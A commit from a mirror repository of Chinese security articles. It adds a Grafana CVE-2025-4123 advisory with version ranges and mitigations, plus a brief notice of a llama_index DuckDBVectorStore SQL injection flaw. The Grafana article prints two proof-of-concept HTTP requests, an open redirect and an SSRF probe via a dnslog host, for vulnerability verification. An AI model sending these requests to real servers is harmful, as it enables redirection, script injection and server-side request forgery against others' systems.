mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-29 03:40:51 +00:00
Vul情报 | CVE-2025-4123 漏洞（附EXP）、【AI高危漏洞预警】llama_index DuckDBVectorStore SQL注入漏洞CVE-2025-1750、
This commit is contained in:
test committed
1 parent
bbade6ac12
commit
4946b0409e
3 files changed
+247
-1
No files matched your search
@@ -14812,5 +14812,7 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247503443&idx=1&sn=763f543a4089f1b08833ccbac7059be5": "【新安全事件】vBulletin 远程代码执行漏洞(CVE-2025-48827)安全风险通告",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247519424&idx=1&sn=d2898555db99efec97a2a0bf0a748284": "CNVD通用型漏洞挖掘-app逻辑缺陷的两个挖掘案例",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzMTcwMTg1Mg==&mid=2247491693&idx=1&sn=4f6b2b1ccf9491a261ce9ce50a700534": "M7s UI download 任意文件读取漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzA5MzE5MDAzOA==&mid=2664243600&idx=1&sn=a254cce915bb8018f5d4620176b69f20": "CNNVD | 关于Google Chrome安全漏洞的通报"
|
||||
"https://mp.weixin.qq.com/s?__biz=MzA5MzE5MDAzOA==&mid=2664243600&idx=1&sn=a254cce915bb8018f5d4620176b69f20": "CNNVD | 关于Google Chrome安全漏洞的通报",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI1NTM4ODIxMw==&mid=2247501362&idx=1&sn=01b71332a9c7c08f19fa2bd90f837ca6": "Vul情报 | CVE-2025-4123 漏洞（附EXP）",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI3NzMzNzE5Ng==&mid=2247490183&idx=1&sn=8796151f4fa121bbb37bd0cbfe9f8b11": "【AI高危漏洞预警】llama_index DuckDBVectorStore SQL注入漏洞CVE-2025-1750"
|
||||
}
|
||||
@@ -0,0 +1,216 @@
|
||||
# Vul情报 | CVE-2025-4123 漏洞（附EXP）
|
||||
渗透Xiao白帽 2025-06-04 14:34
|
||||
|
||||
#
|
||||
|
||||
网安引领时代，弥天点亮未来
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**0x00写在前面**
|
||||
|
||||
**本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责！**
|
||||
|
||||
|
||||
|
||||
|
||||
**0x01漏洞介绍**
|
||||
|
||||
|
||||
|
||||
|
||||
Grafana是Grafana开源的一套提供可视化监控界面的开源监控工具。该工具主要用于监控和分析Graphite、InfluxDB和Prometheus等。
|
||||
|
||||
Grafana存在安全漏洞，该漏洞源于客户端路径遍历和开放重定向结合，可能导致跨站脚本攻击。
|
||||
|
||||
|
||||
注：
|
||||
该漏洞允许攻击者通过自定义前端插件将用户重定向到恶意网站，并执行任意 JаvаSсriрt 代码。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**0x02影响版本**
|
||||
|
||||
|
||||
1、 8.0.0 ≤ grafana <10.4.18
|
||||
|
||||
|
||||
2、 11.2.0 ≤ grafana <11.2.9
|
||||
|
||||
|
||||
3、 11.3.0 ≤ grafana <11.3.6
|
||||
|
||||
|
||||
4、 11.4.0 ≤ grafana <11.4.4
|
||||
|
||||
|
||||
5、 11.5.0 ≤ grafana <11.5.4
|
||||
|
||||
|
||||
6、 11.6.0 ≤ grafana <11.6.1
|
||||
|
||||
|
||||
7、 12.0.0 ≤ grafana <12.0.1
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**0x03漏洞复现**
|
||||
|
||||
1.访问漏洞环境
|
||||
|
||||
|
||||
|
||||
2.对漏洞进行复现
|
||||
|
||||
|
||||
**POC**
|
||||
|
||||
漏洞复现
|
||||
|
||||
1.开放重定向
|
||||
```
|
||||
GET /public/..%2F%5coast.pro%2F%3f%2F..%2F.. HTTP/1.1
|
||||
Host: 127.0.0.1:8080
|
||||
```
|
||||
|
||||
通过响应判断漏洞存在
|
||||
|
||||
|
||||
|
||||
|
||||
2.
|
||||
服务端请求伪造
|
||||
```
|
||||
GET /render/public/..%252f%255Ckvc1mh.dnslog.cn%252f%253F%252f..%252f.. HTTP/1.1
|
||||
Host: 127.0.0.1:8080
|
||||
```
|
||||
|
||||
通过dnslog回显判断漏洞存在
|
||||
|
||||
|
||||
|
||||
|
||||
3.Yakit插件
|
||||
测试
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**0x04修复建议**
|
||||
|
||||
|
||||
目前厂商已发布升级补丁以修复漏洞，补丁获取链接：
|
||||
## 临时缓解措施：
|
||||
|
||||
1、添加默认内容安全策略配置。具体操作可参考：
|
||||
|
||||
https://grafana.com/docs/grafana/latest/setup-grafana/configure-security/configure-security-hardening/#add-a-content-security-policy
|
||||
|
||||
2、禁用Grafana 图像渲染器插件
|
||||
|
||||
3、禁用匿名访问：在 grafana.ini 文件中设置 [auth.anonymous] enabled = false
|
||||
|
||||
|
||||
建议尽快升级修复漏洞，再次声明本文仅供学习使用，非法他用责任自负！
|
||||
```
|
||||
https://grafana.com/security/security-advisories/cve-2025-4123/
|
||||
https://grafana.com/blog/2025/05/21/grafana-security-release-high-severity-security-fix-for-cve-2025-4123/
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
弥天简介
|
||||
|
||||
学海浩茫，予以风动，必降弥天之润！弥天安全实验室成立于2019年2月19日，主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子，也是民间组织。主要以技术共享、交流等不断赋能自己，赋能安全圈，为网络安全发展贡献自己的微薄之力。
|
||||
|
||||
口号 网安引领时代，弥天点亮未来
|
||||
|
||||
|
||||
|
||||
|
||||
**网 安 考 证**
|
||||
|
||||
|
||||
需要考各类安全证书的可以扫码找我咨询，
|
||||
618
|
||||
价格优惠、活动划算！
|
||||
|
||||
报名CISSP、CCSP、PTE、PTS、IRE、IRS、DSG、CCSK、CDSP、CZTP、ITIL4等符合活动标准的认证课程
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
往期推荐 · 有彩蛋
|
||||
|
||||
[【内网渗透】内网信息收集命令汇总](http://mp.weixin.qq.com/s?__biz=MzI1NTM4ODIxMw==&mid=2247485796&idx=1&sn=8e78cb0c7779307b1ae4bd1aac47c1f1&chksm=ea37f63edd407f2838e730cd958be213f995b7020ce1c5f96109216d52fa4c86780f3f34c194&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[【内网渗透】域内信息收集命令汇总](http://mp.weixin.qq.com/s?__biz=MzI1NTM4ODIxMw==&mid=2247485855&idx=1&sn=3730e1a1e851b299537db7f49050d483&chksm=ea37f6c5dd407fd353d848cbc5da09beee11bc41fb3482cc01d22cbc0bec7032a5e493a6bed7&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[【超详细 | Python】CS免杀-Shellcode Loader原理(python)](http://mp.weixin.qq.com/s?__biz=MzI1NTM4ODIxMw==&mid=2247486582&idx=1&sn=572fbe4a921366c009365c4a37f52836&chksm=ea37f32cdd407a3aea2d4c100fdc0a9941b78b3c5d6f46ba6f71e946f2c82b5118bf1829d2dc&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[【超详细 | Python】CS免杀-分离+混淆免杀思路](http://mp.weixin.qq.com/s?__biz=MzI1NTM4ODIxMw==&mid=2247486638&idx=1&sn=99ce07c365acec41b6c8da07692ffca9&chksm=ea37f3f4dd407ae28611d23b31c39ff1c8bc79762bfe2535f12d1b9d7a6991777b178a89b308&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[【超详细 | 钟馗之眼】ZoomEye-python命令行的使用](http://mp.weixin.qq.com/s?__biz=MzI1NTM4ODIxMw==&mid=2247488453&idx=1&sn=5828a0e1a2299d3ee0215f0ed4c30bf1&chksm=ea37ec9fdd406589124c67c45487be39ed1033d88c627092cf07f6d4f14ccdb9079b38dba74d&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[【超详细 | 附EXP】Weblogic CVE-2021-2394 RCE漏洞复现](http://mp.weixin.qq.com/s?__biz=MzI1NTM4ODIxMw==&mid=2247488922&idx=1&sn=f43e3c243bbbfd2822867a3acaa8b85e&chksm=ea37eac0dd4063d63d98f935c73ce571cbfeb0e7272a6f171a28143bdb3e7134b09ea874969a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现](http://mp.weixin.qq.com/s?__biz=MzI1NTM4ODIxMw==&mid=2247485550&idx=1&sn=921b100fd0a7cc183e92a5d3dd07185e&chksm=ea37f734dd407e22cfee57538d53a2d3f2ebb00014c8027d0b7b80591bcf30bc5647bfaf42f8&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现](http://mp.weixin.qq.com/s?__biz=MzI1NTM4ODIxMw==&mid=2247486517&idx=1&sn=34d494bd453a9472d2b2ebf42dc7e21b&chksm=ea37f36fdd407a7977b19d7fdd74acd44862517aac91dd51a28b8debe492d54f53b6bee07aa8&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞](http://mp.weixin.qq.com/s?__biz=MzI1NTM4ODIxMw==&mid=2247487906&idx=1&sn=e35998115108336f8b7c6679e16d1d0a&chksm=ea37eef8dd4067ee13470391ded0f1c8e269f01bcdee4273e9f57ca8924797447f72eb2656b2&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现](http://mp.weixin.qq.com/s?__biz=MzI1NTM4ODIxMw==&mid=2247487897&idx=1&sn=6ab1eb2c83f164ff65084f8ba015ad60&chksm=ea37eec3dd4067d56adcb89a27478f7dbbb83b5077af14e108eca0c82168ae53ce4d1fbffabf&scene=21#wechat_redirect)
|
||||
|
||||
## 【奇淫巧技】如何成为一个合格的“FOFA”工程师
|
||||
|
||||
[【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】](http://mp.weixin.qq.com/s?__biz=MzI1NTM4ODIxMw==&mid=2247485992&idx=1&sn=18741504243d11833aae7791f1acda25&chksm=ea37f572dd407c64894777bdf77e07bdfbb3ada0639ff3a19e9717e70f96b300ab437a8ed254&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[【超详细】Fastjson1.2.24反序列化漏洞复现](http://mp.weixin.qq.com/s?__biz=MzI1NTM4ODIxMw==&mid=2247484991&idx=1&sn=1178e571dcb60adb67f00e3837da69a3&chksm=ea37f965dd4070732b9bbfa2fe51a5fe9030e116983a84cd10657aec7a310b01090512439079&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[ 记一次HW实战笔记 | 艰难的提权爬坑](http://mp.weixin.qq.com/s?__biz=MzI1NTM4ODIxMw==&mid=2247484991&idx=2&sn=5368b636aed77ce455a1e095c63651e4&chksm=ea37f965dd407073edbf27256c022645fe2c0bf8b57b38a6000e5aeb75733e10815a4028eb03&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
**走过路过的大佬们留个关注再走呗**
|
||||
|
||||
**往期文章有彩蛋哦******
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
# 【AI高危漏洞预警】llama_index DuckDBVectorStore SQL注入漏洞CVE-2025-1750
|
||||
cexlife 飓风网络安全 2025-06-04 14:24
|
||||
|
||||
|
||||
|
||||
漏洞描述:
|
||||
|
||||
llаmа_Indех是一个用于构建基于数据的LLM驱动代理的领先框架,该漏洞由于llаmа_Indех的DuсkDBVесtоrStоrе组件中的rеf_dос_id参数直接执行攻击者传递的恶意SQL语句,导致任意文件读取和写入漏洞。
|
||||
|
||||
|
||||
|
||||
攻击场景:
|
||||
|
||||
攻击者可能通过DuckDBVectorStore中的delete函数对系统进行攻击,利用ref_doc_id参数值控制漏洞。
|
||||
|
||||
影响产品:
|
||||
|
||||
Llama_index <=0.12.19
|
||||
|
||||
补丁名称:
|
||||
|
||||
llаmа_indех SQL注入漏洞的补丁—更新至最新版本v0.12.40
|
||||
|
||||
文件链接:
|
||||
|
||||
https://github.com/run-llama/llama_index/releases/tag/v0.12.40
|
||||
|
||||
|
||||
Reference in new issue
Block a user